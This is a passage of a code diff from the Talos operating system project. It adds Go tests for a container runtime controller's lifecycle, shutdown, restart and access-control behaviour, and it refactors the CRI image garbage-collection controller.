suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + asrt.NotZero(status.TypedSpec().PID) + }) + + suite.Assert().True(suite.runner.wasStarted(id)) + + instance, err := ctest.Get[*containers.ContainerInstanceSpec](suite, + containers.NewContainerInstanceSpec(containers.NamespaceName, id).Metadata()) + suite.Require().NoError(err) + suite.Assert().True(instance.Metadata().Finalizers().Has((&containersctrl.RuntimeController{}).Name())) +} + +func (suite *RuntimeSuite) TestReportsTerminatedOnSelfExit() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-1" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.runner.exitNow(id, 137) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseTerminated, status.TypedSpec().Phase) + asrt.Equal(int32(137), status.TypedSpec().ExitCode) + asrt.Zero(status.TypedSpec().PID) + }) +} + +func (suite *RuntimeSuite) TestTeardownStopsRemovesAndReleasesFinalizer() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-2" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(*containers.ContainerInstanceStatus, *assert.Assertions) {}) + + md := containers.NewContainerInstanceSpec(containers.NamespaceName, id).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), md) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), md, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + suite.Assert().True(suite.runner.wasRemoved(id)) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), md)) +} + +// TestAllowMachinedAccessRecordsAndClearsServicePID covers the ServicePID half of +// security.machinedAccess: the PID is published under the ctr- prefix while the container runs, and +// taken back once it is gone. +func (suite *RuntimeSuite) TestAllowMachinedAccessRecordsAndClearsServicePID() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-8" + + servicePIDName := constants.ContainerServicePIDPrefix + id + + suite.createInstanceSpecAllowingMachined(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + // Recorded from the started callback, so it may land a moment after the status does. + suite.AssertWithin(3*time.Second, 50*time.Millisecond, func() error { + servicePID, ok := suite.pidRecorder.pidOf(servicePIDName) + if !ok { + return retry.ExpectedErrorf("no ServicePID recorded for %q", servicePIDName) + } + + suite.Assert().Equal(int32(4242), servicePID) + + return nil + }) + + md := containers.NewContainerInstanceSpec(containers.NamespaceName, id).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), md) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), md, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + suite.Assert().True(suite.pidRecorder.wasCleared(servicePIDName), + "ServicePID %q was never cleared", servicePIDName) + + _, stillRecorded := suite.pidRecorder.pidOf(servicePIDName) + suite.Assert().False(stillRecorded, "ServicePID %q is still recorded after the container stopped", servicePIDName) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), md)) +} + +// TestNoServicePIDWithoutAllowMachinedAccess is the other half of the contract: a container that did +// not ask for machined access must not be given an identity machined would recognize. +func (suite *RuntimeSuite) TestNoServicePIDWithoutAllowMachinedAccess() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-9" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + asrt.NotZero(status.TypedSpec().PID) + }) + + // The container is running and its PID is known, so the recorder has had every chance to be + // called; nothing being there is the assertion. + _, recorded := suite.pidRecorder.pidOf(constants.ContainerServicePIDPrefix + id) + suite.Assert().False(recorded, "a ServicePID was recorded without security.machinedAccess") +} + +func (suite *RuntimeSuite) TestSweepsOrphanedContainerOnStartup() { + const orphanID = "leftover-0" + + suite.runner.presetList(orphanID) + + // The barrier is created by a startup task that completes before the controller runtime starts, so + // it is always there by the time the first pass runs; its absence means the node is on the way + // down, when sweeping would be pointless. + suite.createLifecycle() + + markCRIUp(suite) + + suite.AssertWithin(3*time.Second, 50*time.Millisecond, func() error { + if !suite.runner.wasRemoved(orphanID) { + return retry.ExpectedErrorf("orphan not yet removed") + } + + return nil + }) +} + +// TestLifecycleTeardownStopsRunningContainers covers the shutdown path as the sequencer actually +// drives it: the barrier is torn down while the instance spec is still PhaseRunning, and nothing else +// asks the container to stop. +// +// Waiting for the instance spec to be torn down first, as the other lifecycle test does, tests the +// easy half. Here the controller has to notice the barrier itself and wind down on its own, otherwise +// the finalizer never clears and the stopContainers phase sits there until its five-minute timeout on +// every single reboot. +func (suite *RuntimeSuite) TestLifecycleTeardownStopsRunningContainers() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-4" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + // This is what the stopContainers sequencer phase waits on. + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + // The barrier exists so that the task is actually stopped before containerd goes away, so + // releasing it without having stopped anything would defeat the point. + suite.Assert().True(suite.runner.hasFinished(id)) +} + +// TestDestroyedLifecycleDoesNotRestartContainers covers the whole shutdown path as the sequencer +// drives it, including the destroy that follows the barrier being released. +// +// The instance spec outlives the barrier and stays PhaseRunning throughout, so treating an absent +// barrier as normal operation restarts the container immediately after stopping it. That container +// then runs on into the phase that kills containerd without ever being stopped gracefully, and its +// record is left behind to be swept as an orphan on the next boot, which is exactly what a graceful +// reboot on a real node produced. +func (suite *RuntimeSuite) TestDestroyedLifecycleDoesNotRestartContainers() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-6" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + // What the sequencer task does once the finalizers clear. + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), lifecycleMD)) + + suite.Assert().True(suite.runner.hasFinished(id)) + + startsBefore := suite.runner.startCount(id) + + // Nothing observable happens on the cease path, by design, so a window is the only way to assert + // the absence of a restart. Destroying the barrier is an event on a strong input, so the + // controller does reconcile within it; before the fix that pass restarted the container + // immediately, well inside this window. + time.Sleep(500 * time.Millisecond) + + suite.Assert().Equal(startsBefore, suite.runner.startCount(id), "container was restarted after the barrier was destroyed") +} + +// TestDoesNotRerunFinishedInstance covers a controller restart finding a generation that already ran. +// +// Terminated generations are deliberately kept in PhaseRunning so their outcome stays inspectable, +// while the in-memory record of what has been started does not survive a restart. The status, being +// an output, does, and is seeded here with the controller as its owner to stand in for that. Without +// it, every retained generation would be run a second time, concurrently, into the same cgroup and +// log. +func (suite *RuntimeSuite) TestDoesNotRerunFinishedInstance() { + markCRIUp(suite) + suite.createLifecycle() + + const ( + finishedID = "nginx-5" + // Sorts after finishedID: the pass walks specs in ID order, so this only means "the pass is + // done with finishedID" if it comes last. + clockID = "zz-clock-0" + ) + + status := containers.NewContainerInstanceStatus(containers.NamespaceName, finishedID) + status.TypedSpec().ContainerID = "nginx" + status.TypedSpec().Phase = containers.ContainerInstancePhaseTerminated + status.TypedSpec().ExitCode = 0 + status.TypedSpec().FinishedAt = time.Now() + + suite.Require().NoError(suite.State().Create(suite.Ctx(), status, + state.WithCreateOwner((&containersctrl.RuntimeController{}).Name()))) + + suite.createInstanceSpec(finishedID) + suite.createInstanceSpec(clockID) + + // A fresh spec does get started, which is what proves a full pass ran over both. + ctest.AssertResource(suite, clockID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.Assert().False(suite.runner.wasStarted(finishedID)) + + // The status is what records that it already ran, so it has to survive output cleanup. + ctest.AssertResource(suite, finishedID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseTerminated, status.TypedSpec().Phase) + }) +} + +// TestHandlesBarrierWithoutContainerRuntime covers a reboot with the CRI down. +// +// The barrier is answered whether or not the container runtime is up. Skipping the whole reconcile +// while it is down strands a finalizer taken before a controller restart, and the stopContainers +// phase then waits out its five-minute timeout and aborts the reboot. +func (suite *RuntimeSuite) TestHandlesBarrierWithoutContainerRuntime() { + // Deliberately no markCRIUp: there is no task runner for the whole test. + suite.createLifecycle() + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + suite.AssertWithin(3*time.Second, 50*time.Millisecond, func() error { + lifecycle, err := ctest.Get[*containers.ContainerLifecycle](suite, lifecycleMD) + if err != nil { + return err + } + + if !lifecycle.Metadata().Finalizers().Has((&containersctrl.RuntimeController{}).Name()) { + return retry.ExpectedErrorf("lifecycle finalizer not yet held") + } + + return nil + }) + + _, err := suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + // What the stopContainers sequencer phase waits on. + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) +} + +// TestStopsContainersConcurrentlyOnBarrierTeardown asserts every container is asked to stop before +// any of them is waited for. +// +// The fake runner holds each stop until both have arrived, so a shutdown that stops one container and +// joins it before asking the next never releases the barrier. On a real node each of those waits is +// the graceful shutdown timeout plus the wait for the kill, which serially exceeds the timeout the +// shutdown sequence gives the barrier. +func (suite *RuntimeSuite) TestStopsContainersConcurrentlyOnBarrierTeardown() { + suite.runner.requireConcurrentStops(2) + + markCRIUp(suite) + suite.createLifecycle() + + const ( + idA = "nginx-8" + idB = "nginx-9" + ) + + suite.createInstanceSpec(idA) + suite.createInstanceSpec(idB) + + for _, id := range []string{idA, idB} { + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + } + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + suite.Assert().True(suite.runner.hasFinished(idA)) + suite.Assert().True(suite.runner.hasFinished(idB)) +} + +// provokeControllerRestart takes the controller down and returns once it is back up and idle. +func (suite *RuntimeSuite) provokeControllerRestart(throwawayID string) { + suite.runner.failRemove(throwawayID) + + suite.createInstanceSpec(throwawayID) + + ctest.AssertResource(suite, throwawayID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + md := containers.NewContainerInstanceSpec(containers.NamespaceName, throwawayID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), md) + suite.Require().NoError(err) + + // The failed removal is the error that takes Run down, so having seen one is what makes the restart + // a fact rather than an assumption. + suite.AssertWithin(5*time.Second, 50*time.Millisecond, func() error { + if suite.runner.removeFailureCount(throwawayID) == 0 { + return retry.ExpectedErrorf("removal has not failed yet") + } + + return nil + }) + + suite.runner.clearRemoveFailure(throwawayID) + + _, err = suite.State().WatchFor(suite.Ctx(), md, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), md)) + + // The status outliving its spec is reclaimed by CleanupOutputs, which only runs at the end of a + // pass that failed at nothing. Waiting for it to go is therefore how to know the destroy above has + // been fully digested and the controller is idle again. + ctest.AssertNoResource[*containers.ContainerInstanceStatus](suite, throwawayID) +} + +// TestControllerRestartLeavesContainersRunning covers a reconcile error taking the controller down. +// +// The controller runtime restarts a controller whose Run returns an error, and a restart is not a +// reason to touch a container: the goroutines waiting on the tasks, the containerd client they wait +// through, and the record of what has been started all have to outlive one Run. Tearing them down +// instead meant any single failed removal restarted every container on the node. +func (suite *RuntimeSuite) TestControllerRestartLeavesContainersRunning() { + markCRIUp(suite) + suite.createLifecycle() + + const ( + survivorID = "nginx-10" + // Sorts after survivorID, so a pass that aborts here has already been past the survivor. + stuckID = "nginx-11" + ) + + suite.createInstanceSpec(survivorID) + suite.createInstanceSpec(stuckID) + + for _, id := range []string{survivorID, stuckID} { + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + } + + startsBefore := suite.runner.startCount(survivorID) + + before, err := ctest.Get[*containers.ContainerInstanceStatus](suite, + containers.NewContainerInstanceStatus(containers.NamespaceName, survivorID).Metadata()) + suite.Require().NoError(err) + + // Removal is the last thing standing between a torn-down instance and its finalizer being + // released, so failing it is what makes every subsequent pass return an error. + suite.runner.failRemove(stuckID) + + stuckMD := containers.NewContainerInstanceSpec(containers.NamespaceName, stuckID).Metadata() + + _, err = suite.State().Teardown(suite.Ctx(), stuckMD) + suite.Require().NoError(err) + + // The stuck instance is stopped: it is the removal that fails, not the stop. + suite.AssertWithin(3*time.Second, 50*time.Millisecond, func() error { + if !suite.runner.hasFinished(stuckID) { + return retry.ExpectedErrorf("stuck instance not yet stopped") + } + + return nil + }) + + // Several restarts' worth of window. Nothing observable marks a restart, so its consequences are + // what can be asserted: the survivor was neither stopped nor started again, and the client the + // goroutine waiting on it is using was not closed underneath it. + time.Sleep(time.Second) + + suite.Assert().False(suite.runner.hasFinished(survivorID), "surviving container was stopped by a controller restart") + suite.Assert().Equal(startsBefore, suite.runner.startCount(survivorID), "surviving container was restarted") + suite.Assert().False(suite.runner.isClosed(), "container runtime client was closed on a controller restart") + + // Still the same execution rather than a replacement that happens to look alike: a restart that + // stopped and restarted the container would report a fresh PID and start time. + ctest.AssertResource(suite, survivorID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + asrt.Equal(before.TypedSpec().PID, status.TypedSpec().PID) + asrt.Equal(before.TypedSpec().StartedAt, status.TypedSpec().StartedAt) + }) + + // Once removal works again the instance is released, which is what proves the retry never needed + // the sweep: the pass itself comes back to it. + suite.runner.clearRemoveFailure(stuckID) + + _, err = suite.State().WatchFor(suite.Ctx(), stuckMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + suite.Assert().True(suite.runner.wasRemoved(stuckID)) +} + +// TestSurvivingContainerStillReportsItsExitAfterRestart covers the wake-up path across a restart. +// +// Surviving the restart is only half of outliving the controller: the container also has to still be +// watched afterwards. The goroutine waiting on the task is the one from before the restart, and the +// channel it wakes the loop through is the only thing that can prompt a pass here, the controller +// having been left idle on purpose. A channel belonging to a single Run would leave that goroutine +// sending into one nothing drains any more, and the exit would go unreported until some unrelated +// event happened along. +func (suite *RuntimeSuite) TestSurvivingContainerStillReportsItsExitAfterRestart() { + markCRIUp(suite) + suite.createLifecycle() + + const survivorID = "nginx-14" + + suite.createInstanceSpec(survivorID) + + ctest.AssertResource(suite, survivorID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + // Sorts after the survivor, so the pass has already been past it by the time it fails. + suite.provokeControllerRestart("zz-throwaway-0") + + // Untouched by the restart, and still the same execution. + suite.Require().Equal(1, suite.runner.startCount(survivorID)) + suite.Require().False(suite.runner.hasFinished(survivorID)) + + suite.runner.exitNow(survivorID, 42) + + ctest.AssertResource(suite, survivorID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseTerminated, status.TypedSpec().Phase) + asrt.Equal(int32(42), status.TypedSpec().ExitCode) + }) + + suite.Assert().Equal(1, suite.runner.startCount(survivorID), "surviving container was started a second time") +} + +// TestSurvivingContainerCanStillBeStoppedAfterRestart covers the stop path across a restart. +// +// The stop goes through the cancel function the instance was created with, which hangs off a context +// belonging to the controller rather than to any one Run, and through the map entry the new Run +// inherited. If either had been per-Run, the new Run would find nothing to stop, release the finalizer +// with the task still running, and hand the instance over to be destroyed underneath it. +func (suite *RuntimeSuite) TestSurvivingContainerCanStillBeStoppedAfterRestart() { + markCRIUp(suite) + suite.createLifecycle() + + const survivorID = "nginx-15" + + suite.createInstanceSpec(survivorID) + + ctest.AssertResource(suite, survivorID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.provokeControllerRestart("zz-throwaway-1") + + suite.Require().Equal(1, suite.runner.startCount(survivorID)) + suite.Require().False(suite.runner.hasFinished(survivorID)) + + survivorMD := containers.NewContainerInstanceSpec(containers.NamespaceName, survivorID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), survivorMD) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), survivorMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + // The finalizer is released only once the task is gone, so a container still running here would + // mean the handshake had been broken by the restart. + suite.Assert().True(suite.runner.hasFinished(survivorID)) + suite.Assert().True(suite.runner.wasRemoved(survivorID)) +} + +// destroyInstanceSpecOutright removes an instance spec without the controller having released it, +// standing in for a spec destroyed out of band. +// +// COSI refuses to destroy a resource that still carries finalizers, and the controller re-adds its own +// on any pass that sees the spec still running, so clearing them and destroying has to be retried as +// one step until it lands. +func (suite *RuntimeSuite) destroyInstanceSpecOutright(id string) { + md := containers.NewContainerInstanceSpec(containers.NamespaceName, id).Metadata() + + suite.AssertWithin(10*time.Second, 10*time.Millisecond, func() error { + spec, err := ctest.Get[*containers.ContainerInstanceSpec](suite, md) + if err != nil { + if state.IsNotFoundError(err) { + return nil + } + + return err + } + + for _, finalizer := range *spec.Metadata().Finalizers() { + if err := suite.State().RemoveFinalizer(suite.Ctx(), md, finalizer); err != nil { + return retry.ExpectedError(err) + } + } + + if err := suite.State().Destroy(suite.Ctx(), md); err != nil { + return retry.ExpectedError(err) + } + + return nil + }) +} + +// TestVanishedInstanceRetriesRemoval covers a spec destroyed out of band whose removal fails. +// +// The tearing-down path can afford a failed removal: the finalizer stays on the spec and brings the +// next pass back to it. A vanished spec leaves nothing to hold a finalizer on, so the entry in the +// instance map is the only record that the container is still there. Dropping it on a failure strands +// the container in the container runtime with nothing left that knows about it, and no second orphan +// sweep coming either, since the sweep runs once per process. +func (suite *RuntimeSuite) TestVanishedInstanceRetriesRemoval() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-16" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.runner.failRemove(id) + + suite.destroyInstanceSpecOutright(id) + + suite.AssertWithin(5*time.Second, 50*time.Millisecond, func() error { + if suite.runner.removeFailureCount(id) == 0 { + return retry.ExpectedErrorf("removal has not been attempted yet") + } + + return nil + }) + + // The task is stopped either way: it is the cleanup after it that fails. + suite.Assert().True(suite.runner.hasFinished(id)) + suite.Assert().False(suite.runner.wasRemoved(id)) + + suite.runner.clearRemoveFailure(id) + + // Nothing refers to this instance any more, so a retry can only come from the controller having + // held on to it. + suite.AssertWithin(15*time.Second, 50*time.Millisecond, func() error { + if !suite.runner.wasRemoved(id) { + return retry.ExpectedErrorf("removal was not retried") + } + + return nil + }) +} + +// TestFailingInstanceDoesNotBlockOthers covers one instance's failure against the rest of the pass. +// +// Returning on the first per-instance error abandons every instance sorting after it, and with a +// failure that persists those instances are never reached at all: each restart runs a fresh pass that +// dies in the same place. Collecting the errors instead means the pass completes and only the failing +// instance is held back. +func (suite *RuntimeSuite) TestFailingInstanceDoesNotBlockOthers() { + markCRIUp(suite) + suite.createLifecycle() + + const ( + stuckID = "nginx-12" + // Sorts after stuckID: a pass that gives up on the first error never gets here. + laterID = "nginx-13" + ) + + suite.createInstanceSpec(stuckID) + + ctest.AssertResource(suite, stuckID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.runner.failRemove(stuckID) + + stuckMD := containers.NewContainerInstanceSpec(containers.NamespaceName, stuckID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), stuckMD) + suite.Require().NoError(err) + + // Created while the removal is still failing, so reaching it at all requires the pass to have + // carried on past the failure. + suite.createInstanceSpec(laterID) + + ctest.AssertResource(suite, laterID, func(status *containers.ContainerInstanceStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerInstancePhaseRunning, status.TypedSpec().Phase) + }) + + suite.runner.clearRemoveFailure(stuckID) + + _, err = suite.State().WatchFor(suite.Ctx(), stuckMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) +} + +func (suite *RuntimeSuite) TestHoldsLifecycleFinalizerWhileRunningReleasesWhenIdle() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-3" + + suite.createInstanceSpec(id) + + ctest.AssertResource(suite, id, func(*containers.ContainerInstanceStatus, *assert.Assertions) {}) + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + suite.AssertWithin(3*time.Second, 50*time.Millisecond, func() error { + lifecycle, err := ctest.Get[*containers.ContainerLifecycle](suite, lifecycleMD) + if err != nil { + return err + } + + if !lifecycle.Metadata().Finalizers().Has((&containersctrl.RuntimeController{}).Name()) { + return retry.ExpectedErrorf("lifecycle finalizer not yet held") + } + + return nil + }) + + instanceMD := containers.NewContainerInstanceSpec(containers.NamespaceName, id).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), instanceMD) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), instanceMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + // Nothing left running: the barrier is releasable now, whatever prompts the next reconcile. + _, err = suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) +} diff --git a/internal/app/machined/pkg/controllers/cri/image_gc.go b/internal/app/machined/pkg/controllers/cri/image_gc.go index e93cf8fc1e9..f144aa4d206 100644 --- a/internal/app/machined/pkg/controllers/cri/image_gc.go +++ b/internal/app/machined/pkg/controllers/cri/image_gc.go @@ -18,30 +18,44 @@ import ( "github.com/cosi-project/runtime/pkg/safe" "github.com/cosi-project/runtime/pkg/state" "github.com/distribution/reference" + "github.com/opencontainers/go-digest" "github.com/siderolabs/gen/optional" - "github.com/siderolabs/gen/xslices" "go.uber.org/zap" "github.com/siderolabs/talos/pkg/machinery/constants" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" "github.com/siderolabs/talos/pkg/machinery/resources/etcd" "github.com/siderolabs/talos/pkg/machinery/resources/k8s" "github.com/siderolabs/talos/pkg/machinery/resources/v1alpha1" ) -// ImageCleanupInterval is the interval at which the image GC controller runs. -const ImageCleanupInterval = 15 * time.Minute +// DefaultImageCleanupInterval is the default interval at which the image GC controller runs. +const DefaultImageCleanupInterval = 15 * time.Minute -// ImageGCGracePeriod is the minimum age of an image before it can be deleted. -const ImageGCGracePeriod = 4 * ImageCleanupInterval +// DefaultImageGCGracePeriod is the default minimum age of an image before it can be deleted. +const DefaultImageGCGracePeriod = 4 * DefaultImageCleanupInterval + +// RefsToRetainFunc returns the image references which must be preserved. +// +// It may return an empty set before its underlying resources have synced (e.g. right after boot). +// That is safe: cleanup only deletes an image once it has looked unreferenced continuously for a full +// GCGracePeriod, tracked per-image from the first time the controller ever observed it as such (see +// imageFirstSeenUnreferenced in cleanup below) — which is reliably longer than resources take to sync. +type RefsToRetainFunc func(ctx context.Context, reader controller.Reader) ([]string, error) // NewImageGCController creates a new ImageGCController. -func NewImageGCController(containerdName string, buildExpectedImages bool) *ImageGCController { - controllerName := "cri." + containerdName + "ImageGCController" +// +// containerdName selects the containerd instance (and the v1alpha1.Service gating on it), and +// namespace is the containerd namespace to collect. A nil refsToRetain means nothing is retained, +// i.e. every image in the namespace is eligible for cleanup. +func NewImageGCController(containerdName, namespace string, refsToRetainFunc RefsToRetainFunc) *ImageGCController { + controllerName := fmt.Sprintf("%s.%s.ImageGCController", containerdName, namespace) return &ImageGCController{ containerdName: containerdName, + containerdNamespace: namespace, controllerName: controllerName, - buildExpectedImages: buildExpectedImages, + refsToRetain: refsToRetainFunc, } } @@ -49,9 +63,19 @@ func NewImageGCController(containerdName string, buildExpectedImages bool) *Imag type ImageGCController struct { ImageServiceProvider func() (ImageServiceProvider, error) - containerdName string + // CleanupInterval and GCGracePeriod default to DefaultImageCleanupInterval and DefaultImageGCGracePeriod. + // + // They are fields rather than constants so that tests can run a cleanup cycle without waiting + // out the production timing; nothing in Talos overrides them. + CleanupInterval time.Duration + GCGracePeriod time.Duration + + containerdName string + containerdNamespace string + // refsToRetain computes the images to preserve; nil retains nothing. + refsToRetain RefsToRetainFunc + controllerName string - buildExpectedImages bool imageFirstSeenUnreferenced map[string]time.Time } @@ -67,35 +91,43 @@ func (ctrl *ImageGCController) Name() string { } // Inputs implements controller.Controller interface. +// +// Only the containerd service is an input: it is the one thing the controller has to wake for. +// Everything else is read on the cleanup tick, see RefsToRetainFunc. func (ctrl *ImageGCController) Inputs() []controller.Input { - inputs := []controller.Input{ + return []controller.Input{ { Namespace: v1alpha1.NamespaceName, Type: v1alpha1.ServiceType, ID: optional.Some(ctrl.containerdName), Kind: controller.InputWeak, }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerSpecType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerImageStatusType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceSpecType, + Kind: controller.InputWeak, + }, + { + Namespace: k8s.NamespaceName, + Type: k8s.KubeletSpecType, + Kind: controller.InputWeak, + }, + { + Namespace: etcd.NamespaceName, + Type: etcd.SpecType, + Kind: controller.InputWeak, + }, } - - if ctrl.buildExpectedImages { - inputs = append( - inputs, - controller.Input{ - Namespace: k8s.NamespaceName, - Type: k8s.KubeletSpecType, - ID: optional.Some(k8s.KubeletID), - Kind: controller.InputWeak, - }, - controller.Input{ - Namespace: etcd.NamespaceName, - Type: etcd.SpecType, - ID: optional.Some(etcd.SpecID), - Kind: controller.InputWeak, - }, - ) - } - - return inputs } // Outputs implements controller.Controller interface. @@ -140,24 +172,15 @@ func (s *containerdImageServiceProvider) Close() error { } // Run implements controller.Controller interface. -// -//nolint:gocyclo,cyclop func (ctrl *ImageGCController) Run(ctx context.Context, r controller.Runtime, logger *zap.Logger) error { - if ctrl.ImageServiceProvider == nil { - ctrl.ImageServiceProvider = defaultImageServiceProvider(ctrl.containerdName) - } - - if ctrl.imageFirstSeenUnreferenced == nil { - ctrl.imageFirstSeenUnreferenced = map[string]time.Time{} - } + ctrl.ensureDefaults() var ( containerdIsUp bool - expectedImages []string imageServiceProvider ImageServiceProvider ) - ticker := time.NewTicker(ImageCleanupInterval) + ticker := time.NewTicker(ctrl.CleanupInterval) defer ticker.Stop() defer func() { @@ -171,75 +194,130 @@ func (ctrl *ImageGCController) Run(ctx context.Context, r controller.Runtime, lo case <-ctx.Done(): return nil case <-ticker.C: - if !containerdIsUp || (ctrl.buildExpectedImages && len(expectedImages) == 0) { + if !containerdIsUp { continue } - if imageServiceProvider == nil { - var err error - - imageServiceProvider, err = ctrl.ImageServiceProvider() - if err != nil { - return fmt.Errorf("error creating image service provider: %w", err) - } - } + var err error - if err := ctrl.cleanup(ctx, logger, imageServiceProvider.ImageService(), expectedImages); err != nil { - return fmt.Errorf("error running image cleanup: %w", err) + imageServiceProvider, err = ctrl.runCleanup(ctx, logger, r, imageServiceProvider) + if err != nil { + return err } case <-r.EventCh(): - containerdService, err := safe.ReaderGet[*v1alpha1.Service](ctx, r, resource.NewMetadata(v1alpha1.NamespaceName, v1alpha1.ServiceType, ctrl.containerdName, resource.VersionUndefined)) - if err != nil && !state.IsNotFoundError(err) { - return fmt.Errorf("error getting container service: %w", err) + var err error + + containerdIsUp, err = ctrl.updateContainerdStatus(ctx, r) + if err != nil { + return err } + } - containerdIsUp = containerdService != nil && containerdService.TypedSpec().Running && containerdService.TypedSpec().Healthy + r.ResetRestartBackoff() + } +} - expectedImages = nil +// ensureDefaults fills in zero-value fields with their defaults. +func (ctrl *ImageGCController) ensureDefaults() { + if ctrl.ImageServiceProvider == nil { + ctrl.ImageServiceProvider 